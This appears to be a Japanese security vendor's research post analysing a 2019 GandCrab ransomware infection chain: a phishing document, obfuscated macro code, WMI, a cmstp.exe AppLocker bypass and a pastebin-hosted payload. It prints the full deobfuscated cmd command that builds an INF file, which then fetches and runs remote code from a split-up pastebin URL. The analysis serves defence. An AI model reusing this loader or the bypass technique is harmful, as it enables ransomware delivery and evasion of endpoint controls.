- 2019/05/28
- セキュリティ
検知を回避するテクニックを駆使した、GandCrabによる新たな感染チェーン
Post by : CYBEREASON NOCTURNUS RESEARCH
調査・研究者:Assaf Dahan, Ryuzo Okudera
この調査・研究記事に記載されている攻撃では、攻撃者は検知を回避するさまざまなテクニックを組み合わせて標的をランサムウェアに感染させることに成功しており、そのような手法を理解するうえで最適な事例が提供されています。これらのテクニックには次のようなものがあります。
- フィッシングメールと武器化したOfficeドキュメントを組み合わせ、第一次の攻撃として標的のコンピューターに侵入する
- VBAコードやWMIオブジェクト、JavaScriptを用いてランサムウェアを投下する多段階のファイルレス感染チェーンを使用する
- 環境寄生バイナリを使用して、Windows AppLockerによるロックを逃れ、ランサムウェアのペイロードをフェッチする
- 正規のオンラインテキスト共有サービスから悪意のあるペイロードを取得する。このレポートの例では、pastebin.comを使用
攻撃者がこのような攻撃に成功した場合、重要性の高い資産などのデータに利用者がアクセスできなくなるほか、組織全体で大規模なサービスの停止が発生するおそれもあります。企業は直接的な影響として金銭上の大規模な損失を被る可能性があり、それ以外にも、関連するほかのダメージを受けることになるでしょう。この種の攻撃では特に、重要な資産が侵害を受けた場合に壊滅的な被害の生じるリスクがあります。
攻撃に備えるためのアドバイス
- 個人用、業務用のエンドポイントの中身を定期的にバックアップしましょう。特に、サーバーなどの重要性の高いエンドポイントでは、必ずこの作業が必要です。
- Windowsとサードパーティーのソフトウェアは常に最新のバージョンにアップデートしておきましょう。また、これらには、セキュリティパッチも必ずすべて適用するようにします。
- ランサムウェア攻撃を受けても身代金を支払ってはいけません。攻撃者は図に乗ってこの種の攻撃を続けるようになります。多くの場合、人質となったファイルが元に戻る保証は全くありません。また、いくつかのケースでは、特殊なリカバリツールを使えば、暗号化されたデータを元に戻すことができる場合があります(常にそうなるとは限りません)。
- アンチランサムウェアテクノロジーを導入済みの、サイバーリーズンのお客様では、どのバージョンのGandCrabからも被害を免れており、あらゆるランサムウェア攻撃の99%を阻止できています。
はじめに
サイバーリーズンのチームは、日本に拠点を置くグローバル企業を標的としたGandCrabによるランサムウェア攻撃を検知し、これを阻止しました。GandCrabは、現在知られているランサムウェアのなかでも特に猛威を振るっている脅威の1つです。このランサムウェアは2018年初めに出現して以来、絶えず進化を続けており、検知を逃れるためのデリバリー手法は完成度を増すばかりです。
BBitdefenderによれば、GandCrabによる感染は、全世界のランサムウェア感染の40%を占めると言います。この数字は、GandCrabがどれほど強力なランサムウェアになっているのかを如実に物語っています。GandCrabの開発者は頻繁にすばやくこのランサムウェアをアップデートすることで知られており、ステルス性の高い新たなデリバリーメカニズムなどの機能変更を加えています。そして、個人、企業を問わず、無差別に攻撃を仕掛けます。従来のバージョンのGandcrabについては、そのほとんどについて暗号解除やリカバリのツールをセキュリティベンダー各社がリリースしていますが、この調査・研究レポートで解説する最新バージョンのGandcrabの場合、まだ現状では、暗号化されたファイルの暗号の解除や復元に成功していません。
これほどまでGandCrabが広まった理由の1つとしては、サービスとしてのランサムウェア(RaaS)のビジネスモデルにGandCraが従っていることが挙げられます。これにより、どんなスキルセットのサイバー犯罪者でも、操作が容易なプラットフォームを通じてGandCrabのインフラストラクチャが利用できるようになっており、24時間365日でオンラインサポートも受けられるのです。バージョン4とバージョン5のGandCraの場合、2018年7月から10月のあいだに全世界で約500,000件の感染が生じているとされています。
cmd.exeによって拡散される悪意のあるプロセス
韓国におけるフィッシングメールに端を発した攻撃
この攻撃は、ユーザーが悪意のある韓国語のドキュメントを開いたことをきっかけとして開始されます。ドキュメントは通常、フィッシングメールを介して配布されます。
「의제.doc」(韓国語で「Agenda.doc」を表す)
そして、ユーザーは「Enable Content(コンテンツの有効化)」をクリックするよう誘導されます。ボタンをクリックすると、ドキュメントに埋め込まれているマクロコードが起動します。
의제.doc(e4ac8fd735712e30c61cacb4e725b17a680d48ed)
マクロコードの解析
Officeドキュメントに埋め込まれていたVBAコードには、その実際の性質を隠し検知を逃れるために難読化の処理が施されていました。
埋め込まれていたVBAコードの抜粋
このVBAコードでは、一般にあまり知られていないGotFocusのイベントチケットが実行のトリガとして使用されています。
OLEToolによるolevba.pyの出力
マクロの実行の流れ
GotFocusのイベントがトリガされると、VBAコードは多段階のダウンローダーのペイロードの暗号を解除し、WMIオブジェクト(SWbemObjectEx)を生成します。そして、このオブジェクトが、cmd.exeインスタンスを拡散します。インスタンスには、難読化された複数のコマンドから成る別のレイヤーが付加されています。
WMIを起動する難読化されたマクロコード
上記のコードの難読化を解除すると、以下のような内容が現れます。
SWbemObjectEx.Create("cmd /V /C set "G5=s" && !G5!et "G6=\" && !G5!et "G=e" && !G5!et "G22=i" && !G5!et "G7=A" && !G5!et "G2=N" && !G5!et "G21=d" && c!G7!ll !G5!et "G4=%!G7!PP!G21!!G7!T!G7!%" && c!G7!ll !G5!et "G75=%R!G7!!G2!!G21!OM%" && !G5!et "G03=!G4!!G6!M!G22!cro!G5!oft!G6!T!G!mplat!G!s!G6!!G75!.txt" && !G5!et "G9="^" && (For %i in ("[v!G!r!G5!ion]" "!G5!ignatur!G!=$Wi!G2!dow!G5! NT$" "[D!G!faultIn!G5!tall_Singl!G!U!G5!er]" "UnR!G!gi!G5!t!G!rOCXs=G54" "[G54]" "%11%\%G59_1%%G59_2%%G59_3%,NI,%G0_1%%G0_2%%G0_3%%G0_4%%G0_5%%G0_6%%G0_7%%G0_8%%G0_9%%G0_10%%G0_11%%G0_12%%G0_13%%G0_14%%G0_15%%G0_16%" "[!G5!tring!G5!]" "G0_1=ht" "G0_2=tp" "G0_3=:/" "G0_4=/p" "G0_5=as" "G0_6=te" "G0_7=bi" "G0_8=n." "G0_9=co" "G0_10=m/" "G0_11=ra" "G0_12=w/" "G0_13=kV" "G0_14=kC" "G0_15=4M" "G0_16=A3" "G59_2=rO" "G59_1=sC" "G59_3=bJ" ) do @echo %~i)>"!G03!" && echo !G5!erv!G22!ceNam!G!=!G9! !G9!>>!G03! && echo !G5!hortSvcN!G7!me=!G9! !G9!>>!G03! && c!G7!ll !G5!et "G19=%WI!G2!!G21!IR%" && !G5!t!G7!rt "" !G19!!G6!Sy!G5!t!G!m32!G6!cm!G5!tp.!G!x!G! /s /ns "!G03!"",,,) -> 0
上記のコードは、cmd.exeプロセスのコンテキスト内にある環境変数に、難読化された文字列をセットします。
環境変数
そして、以下のファイルへの書き込みを行います。
C:\Users\xxxxx\AppData\Roaming\Microsoft\Templates\{random}.txt
ランダムファイルへの書き込み
CMSTP.EXEのLOLBINを利用してWINDOWS APPLOCKERによるロックを回避
投下されたテキストファイルはINF構成ファイルです。このファイルはSquiblyooテクニックのバリエーションの1つを利用し、Windows AppLockerによるロックの回避や、リモートロケーションからのペイロードのダウンロード、ペイロードの実行を行います。この手法はNick TyrerとOddvar Moeが導入したものです。UnRegisterOCXのディレクティブをコールするDefaultInstall_SingleUsersectionを呼び出せば、cmstp.exe、すなわち、Microsoft Connection Manager Profile Installerでscrobj.dllを起動できることに彼らは気付いたのです。
攻撃者はGandCrab攻撃の裏でこのテクニックを使用しており、Cybereasonのプラットフォームでこの様子を表示した画面のスクリーンショットを以下に示します。cmd.exeはcmstp.exeを拡散し、投下したINFファイルにcmstp.exeをポイントしています。
SquiblyooテクニックのバリエーションをGandCrabの攻撃に使用している様子をCybereasonのプラットフォームで表示
INF構成ファイルのパス
そして、cmstp.exeはpastebin.comに接続し、セカンダリのペイロードを取得します。
cmstp.exeがpastebin.comからセカンダリのペイロードを取得
PASTEBIN.COMから取得されるGANDCRABのペイロード
pastebin.comから取得されるGandCrabのペイロードはCOMスクリプトレットです。このスクリプトレットには、難読化されたJavaScriptコードが組み込まれており、さらにコードには、PEファイルが埋め込まれています。このファイルは実行時に暗号が解除され、ディスクに投下されます。
組み込みのPEファイルの暗号が実行時に解除されてPEファイルがディスクに投下される様子
VirusTotalで見ると、URLとページの内容はアンチウイルスベンダーの検知を逃れているようです。
VirusTotalのスクリーンショット。URLとページの内容が検知を逃れていることが確認できる
JavaScriptコードには、複数の難読化のレイヤーがあります。
JavaScriptコードの難読化のレイヤー
このコードは匿名関数を用いており、関数は実行時に宣言されて、ランサムウェアの暗号の解除、投下、起動を行います。
実行時に宣言された匿名関数がGandCrabの暗号を解除し、GandCrabを投下、起動
暗号が解除されたランサムウェアのペイロードは、以下の場所に投下されます。
C:\users\soc\appdata\roaming\microsoft\{random}.exe.
暗号が解除されたランサムウェアが投下された場所
以下のプロセスツリーには、cmstp.exeがランサムウェアを投下する様子が示されています。これは、事後にサイバーリーズンが検知したもので、攻撃はサイバーリーズンによって食い止められました。
サイバーリーズンのアンチランサムウェアソリューションを導入していない仮想マシンでこのランサムウェアのペイロードが実行されたときに表示された脅迫状の内容を以下に示します。この脅迫状の内容から、GandCrabのバージョンが5.2であることがわかります。
GandCrab v5.2の脅迫状
まとめ
ランサムウェア攻撃は新しい形態の攻撃ではありません。しかし、GandCrabの場合、ほかのランサムウェアとくらべその機能がずっと早くアップグレードを続けており、攻撃に対処するのがますます難しくなっています。GandCrabは常に進化し、そのデリバリー手法も絶えず巧妙さを増しているため、ランサムウェアの行動を検知しその攻撃を防ぐことのできるセキュリティツールの必要性がさらに高まっています。しかも、これらのセキュリティツールには、ランサムウェアの開発者が用いる検知を逃れる手法やマルチレイヤーの難読化の手法にかかわらず検知や防御のできる能力が求められています。
これほどまでGandCrabが広まった理由の1つとしては、GandCrabが標的に応じて脅迫の内容を変えている点が挙げられます。このような攻撃により、多額の身代金を奪うことに成功しているのです。また、GandCrabはRaaSのモデルに従っており、これより、技術に精通しているか否かにかかわらず誰もがランサムウェアで個人を攻撃できるようになっています。
注:サイバーリーズンはpastebin.comと連絡を取り、悪意のあるページを削除するよう求める通報のレポートを正式に提出しました。この結果、悪意のあるコードが掲載されているページは閉鎖されました。
ホワイトペーパー「すべての組織が狙われている」
企業、組織がどんなにセキュリティを強固にしてもハッカーが悪用できる脆弱性は必ず存在します。侵入されることが避けられないことを受け入れ、新たな対策を立てる必要があります。本書で、なぜ避けられないのか、どのように対処するのかをご覧ください。
https://www.cybereason.co.jp/product-documents/input/?post_id=606